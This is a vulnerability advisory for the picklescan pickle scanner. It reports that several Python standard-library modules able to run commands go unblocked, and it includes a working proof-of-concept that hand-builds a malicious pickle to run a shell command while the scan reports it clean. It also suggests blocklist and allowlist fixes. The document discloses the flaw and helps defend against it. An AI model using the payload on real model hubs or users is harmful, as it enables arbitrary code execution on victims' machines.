PT-2026-25456 · Pypi · Picklescan
Published
2026-03-03
·
Updated
2026-03-03
CVSS v3.1
9.8
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.
Severity
Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
Unblocked RCE Modules
| Module | Function | RCE Mechanism | picklescan Result |
|---|---|---|---|
uuid | get command stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN |
osx support | read output(cmdstring) | os.system() via temp file | CLEAN |
osx support | find build tool(toolname) | Command injection via %s | CLEAN |
aix support | read cmd output(cmdstring) | os.system() | CLEAN |
pyrepl.pager | pipe pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN |
pyrepl.pager | tempfile pager(text, cmd) | os.system(cmd + ...) | CLEAN |
imaplib | IMAP4 stream(command) | subprocess.Popen(command, shell=True) | CLEAN |
test.support.script helper | assert python ok(*args) | Spawns python subprocess | CLEAN |
All 8 functions are in Python's standard library and importable on all platforms.
Scanner Output
$ picklescan -p uuid rce.pkl
No issues found.
$ picklescan -p aix rce.pkl
No issues found.
$ picklescan -p imaplib rce.pkl
No issues found.Meanwhile:
$ python3 -c "import pickle; pickle.loads(open('uuid rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)Blocklist Analysis
picklescan v1.0.3's
unsafe globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:uuid— not blockedosx support— not blockedaix support— not blockedpyrepl— not blockedpyrepl.pager— not blocked (parent wildcard doesn't apply sincepyreplisn't blocked)imaplib— not blockedtest— not blockedtest.support— not blockedtest.support.script helper— not blocked
Proof of Concept
python
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"x8c" + struct.pack("<B", len(b)) + b
# uuid. get command stdout — arbitrary command execution
payload = (
b"x80x04x95" + struct.pack("<Q", 55)
+ sbu("uuid") + sbu(" get command stdout") + b"x93"
+ sbu("bash") + sbu("-c") + sbu("id")
+ b"x87" + b"R" # TUPLE3 + REDUCE
+ b"." # STOP
)
# Scan: 0 issues
from picklescan.scanner import scan pickle bytes
result = scan pickle bytes(io.BytesIO(payload), "test.pkl")
assert result.issues count == 0 # CLEAN
# Execute: runs `id` command
pickle.loads(payload)Tested Against
- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
- picklescan v0.0.21 — same result (modules never blocked in any version)
Impact
Any system using picklescan for pickle safety validation is vulnerable. This includes:
- HuggingFace Hub — uses picklescan server-side to scan uploaded model files
- ML pipelines — any CI/CD or loading pipeline using picklescan
- Model registries — any registry relying on picklescan for safety checks
An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.
Suggested Fix
Add to
unsafe globals in picklescan:python
"uuid": "*",
" osx support": "*",
" aix support": "*",
" pyrepl": "*",
"imaplib": {"IMAP4 stream"},
"test": "*",Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:
- Switching to an allowlist (default-deny) for permitted globals
- Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)
Resources
- picklescan source:
scanner.pylines 120-219 (unsafe globals) - Python source:
Lib/uuid.py,Lib/ osx support.py,Lib/ aix support.py,Lib/ pyrepl/pager.py,Lib/imaplib.py
Fix
Incomplete List of Disallowed Inputs
Protection Mechanism Failure
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Picklescan